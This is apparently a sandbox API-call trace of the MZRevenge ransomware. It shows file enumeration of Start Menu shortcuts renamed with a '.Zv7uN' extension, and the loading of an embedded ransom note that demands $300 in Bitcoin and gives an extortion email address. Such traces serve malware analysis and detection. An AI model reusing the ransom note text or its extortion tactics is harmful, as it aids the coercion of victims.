lpLocalFileTime=0x18f480) returned 1 [0134.188] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.188] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64333de0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft SharePoint Workspace 2010.lnk.Zv7uN", cAlternateFileName="MICROS~1.ZV7")) returned 1 [0134.188] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0134.188] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.188] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64333de0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft SharePoint Workspace 2010.lnk.Zv7uN", cAlternateFileName="MICROS~1.ZV7")) returned 0 [0134.188] GetLastError () returned 0x12 [0134.188] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0134.188] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a233bd5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a233bd5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62337640, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Sidebar.lnk.Zv7uN", cAlternateFileName="")) returned 1 [0134.188] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0134.188] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0134.188] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Startup", cAlternateFileName="")) returned 1 [0134.188] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0134.189] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0134.189] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0134.189] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0134.189] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0134.189] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0134.189] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.189] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0134.189] GetLastError () returned 0x12 [0134.189] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0134.189] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0134.190] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0134.190] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.190] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0134.190] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0134.190] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.190] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0134.190] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0134.190] GetLastError () returned 0x12 [0134.190] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0134.190] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0134.190] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b186991, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b186991, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x625e4f00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x548, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Anytime Upgrade.lnk.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 1 [0134.190] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0134.190] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0134.191] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82491ce0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x82491ce0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x627adf80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows DVD Maker.lnk.Zv7uN", cAlternateFileName="WINDOW~2.ZV7")) returned 1 [0134.191] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0134.191] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0134.191] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b6b82, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d7b6b82, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62950ea0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Fax and Scan.lnk.Zv7uN", cAlternateFileName="WINDOW~3.ZV7")) returned 1 [0134.191] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0134.191] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0134.191] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945dbdb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8945dbdb, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62977000, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Media Player.lnk.Zv7uN", cAlternateFileName="WINDOW~4.ZV7")) returned 1 [0134.191] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0134.191] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0134.191] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x6299d160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="XPS Viewer.lnk.Zv7uN", cAlternateFileName="XPSVIE~1.ZV7")) returned 1 [0134.191] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0134.191] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0134.191] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x6299d160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="XPS Viewer.lnk.Zv7uN", cAlternateFileName="XPSVIE~1.ZV7")) returned 0 [0134.191] GetLastError () returned 0x12 [0134.191] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0134.191] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x617e8dc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName="Windows Update.lnk.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 1 [0134.191] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0134.192] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0134.192] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x617e8dc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName="Windows Update.lnk.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 0 [0134.192] GetLastError () returned 0x12 [0134.192] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0134.208] GetACP () returned 0x4e4 [0134.328] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fcb0 | out: lpCPInfo=0x18fcb0) returned 1 [0134.346] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18faf8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0134.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Google Chrome.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\google chrome.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0134.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="[InternetShortcut]\r\nURL=https://www.google.com/\r\nIconIndex=0\r\n", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0134.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="[InternetShortcut]\r\nURL=https://www.google.com/\r\nIconIndex=0\r\n", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0134.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="[InternetShortcut]\r\nURL=https://www.google.com/\r\nIconIndex=0\r\n", cchWideChar=62, lpMultiByteStr=0x2021dc8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[InternetShortcut]\r\nURL=https://www.google.com/\r\nIconIndex=0\r\nN", lpUsedDefaultChar=0x0) returned 62 [0134.464] WriteFile (in: hFile=0x128, lpBuffer=0x2021dc8*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0x18fc68, lpOverlapped=0x0 | out: lpBuffer=0x2021dc8*, lpNumberOfBytesWritten=0x18fc68*=0x3e, lpOverlapped=0x0) returned 1 [0134.681] CloseHandle (hObject=0x128) returned 1 [0134.691] GetCurrentThreadId () returned 0xa30 [0134.691] GetCurrentThreadId () returned 0xa30 [0134.691] GetCurrentThreadId () returned 0xa30 [0134.700] FindResourceW (hModule=0x400000, lpName="ReadME", lpType=0xa) returned 0x5654b8 [0134.700] LoadResource (hModule=0x400000, hResInfo=0x5654b8) returned 0x55c428 [0134.700] SizeofResource (hModule=0x400000, hResInfo=0x5654b8) returned 0x6a86 [0134.700] LockResource (hResData=0x55c428) returned 0x55c428 [0134.700] GetCPInfo (in: CodePage=0xfde9, lpCPInfo=0x18fc00 | out: lpCPInfo=0x18fc00) returned 1 [0134.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x2c5abf8, cbMultiByte=27270, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27270 [0134.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x2c5abf8, cbMultiByte=27270, lpWideCharStr=0x2c6172c, cchWideChar=27270 | out: lpWideCharStr="\r\n\r\n \r\n \r\n Read ME\r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n \x09\r\n\r\n\r\n\r\n\r\n\r\n \r\n\x09
\r\n\x09\x09
All Your Files Have Been Encrypted!
\r\n\x09
\r\n\r\n\r\n\x09\r\n\x09\r\n\r\n\x09\r\n
\r\n
* What Happened To My Files?
\r\n
    \r\n
    Your Important Files Are Encrypted.
    \r\n\x09
    Many of Your Documents, Photos, Videos, Databases, And Other Files Are No Longer Accessible Because They Are Encrypted.
    \r\n\x09
    Maybe You're Busy Finding A Way To Recover Your Files, But Do Not Waste Your Time.
    \r\n\x09
    Nobody Can Recover Your Files Without Our Decryption Service.
    \r\n\x09
    However, If You Want To Use The Programs of Data Recovery Companies, Please Do Not Work On Your Original Files, But Make Copies of Them.
    \r\n\x09
    Corruption of The Actual Files Can Cause Irreversible Damage To Your Data.
    \x09\r\n
\r\n
\x09\r\n\x09

\r\n\x09\r\n\r\n\x09\r\n\x09
\r\n
* Can I Recover My Files?
\r\n
    \r\n\x09
    Sure. We Guarantee That You Can Recover All Your Files Safely And Easily.
    \r\n\x09
    But For This You Need To Send $300 Worth Bitcoins To Our Address.
    \r\n\x09
    Even If You Give Money, Do Not Believe The People Around You Who Say They Will Not Give Your Files, I Have Enough Reference To Give You Confidence.
    \r\n\x09
    I Don't Know About You, So There Is No Point In Having Bad Feelings Towards You, Doing Evil To You, My Goal Is Just To Earn An Income From This Business.
    \r\n
\r\n
\x09\r\n\x09

\r\n\x09\r\n\r\n\r\n\x09
\r\n
* What About The Guarantees?
\r\n
    \r\n\x09
    It's Just A Business. We Absolutely Do Not Care About You And Your Deals, Except Getting Benefits.
    \r\n\x09
    If We Do Bot Do Our Work And Liabilities - Nobody Will Cooperate With Us. It's Not In Our Interests.
    \r\n\x09
    To Check The Ability of Returning Files, You Can Send To Us Any 2 Files With SIMPLE Extensions (jpg, xls, doc, etc... Not Databases!) And Low Sizes (Max 1 MB), We Will Decrypt Them And Send Back To You.
    \r\n\x09
    That is our guarantee.
    \r\n
\r\n
\x09\r\n\x09

\r\n\x09\r\n\r\n\x09\r\n\x09
\r\n
* How To Contact With You?
\r\n
    \r\n\x09
    You Can Write Us To Our Mailbox: mzrdecryptorbuy@firemail.cc
    \r\n\x09
    Do Not Forget To Write Your Identity In The Title When You Contact Us: XXXXXXXXXXXX
    \r\n\x09
    Don't Forget, Check Your \"Spam\" or \"Junk\" Folder It You Can't Get More Than 6 Hours of Answer.
    \r\n
\r\n
\x09\r\n\x09

\r\n\x09\r\n\x09\r\n\x09\r\n\x09
\r\n
* How Will The Decryption Process Proceed After Payment?
\r\n
    \r\n\x09
    After Payment, We Will Send You Our Special Decoder Program By Mail, Just Open It, Then It Will Automatically Decrypt All Your Files.
    \r\n\x09
    But For This You Need To Contact Us.
    \r\n
\r\n
\x09\r\n\x09

\r\n\x09\r\n\x09\r\n\x09\r\n\x09
\r\n
* So What Is Bitcoin And How To Get It?
\r\n \r\n
\r\n\x09

\r\n\x09\r\n\r\n\x09\r\n\x09
\r\n
===[ BEWARE!!! ]===
\r\n
    \r\n\x09
    DON'T Try To Change Encrypted Files By Yourself!
    \r\n\x09
    If You Will Try To Use Any Third Party Software For Restoring Your Data or Antivirus Solutions - Please Make A Backup For All Encrypted Files!
    \r\n\x09\x09
    Any Changes In Encrypted Files May Entail Damage of The Private Key And, As Result, The Loss All Data.
    \r\n
\r\n
\r\n\x09

\r\n\x09\r\n\x09\r\n\x09\x09\r\n\x09

\r\n\x09

\r\n

\r\n\x09\r\n\x09\r\n\x09
==={ MZRevenge [Version 2.1.4689] }===
\r\n\x09\r\n \r\n") returned 27270 [0134.712] FreeResource (hResData=0x55c428) returned 0 [0134.712] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18faf8, csidl=8, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0134.712] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent")) returned 0x11 [0134.795] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18faf8, csidl=8, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0134.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MZRevengeReadME.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mzrevengereadme.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0134.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MZRevengeReadME.html", nBufferLength=0x104, lpBuffer=0x18fa2c, lpFilePart=0x18fa28 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MZRevengeReadME.html", lpFilePart=0x18fa28*="MZRevengeReadME.html") returned 0x5b [0134.796] GetLastError () returned 0x2 [0134.804] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x0, lpBuffer=0x18fc3c, nSize=0x0, Arguments=0x0 | out: lpBuffer="獐jﲄ\x18㾤Kﲔ\x18㿰Kﲄ\x18") returned 0x2c [0135.126] LocalFree (hMem=0x6a7350) returned 0x0 [0135.136] LoadStringW (in: hInstance=0x400000, uID=0xff8e, lpBuffer=0x18dbf8, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0135.144] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x18fc2c) [0135.219] RtlUnwind (TargetFrame=0x18fc94, TargetIp=0x4098b4, ExceptionRecord=0x18f710, ReturnValue=0x0) [0135.285] RtlUnwind (TargetFrame=0x18fd0c, TargetIp=0x4098b4, ExceptionRecord=0x18f710, ReturnValue=0x0) [0135.344] GetCurrentThreadId () returned 0xa30 [0135.344] GetCurrentThreadId () returned 0xa30 [0135.344] GetCurrentThreadId () returned 0xa30 [0135.486] GetCurrentThreadId () returned 0xa30 [0135.486] GetCurrentThreadId () returned 0xa30 [0135.486] GetCurrentThreadId () returned 0xa30 [0135.502] GetCurrentThreadId () returned 0xa30 [0135.502] GetCurrentThreadId () returned 0xa30 [0135.502] GetCurrentProcess () returned 0xffffffff [0135.502] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x400000, lpBuffer=0x18fc6c, dwLength=0x1c | out: lpBuffer=0x18fc6c*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0135.502] VirtualQueryEx 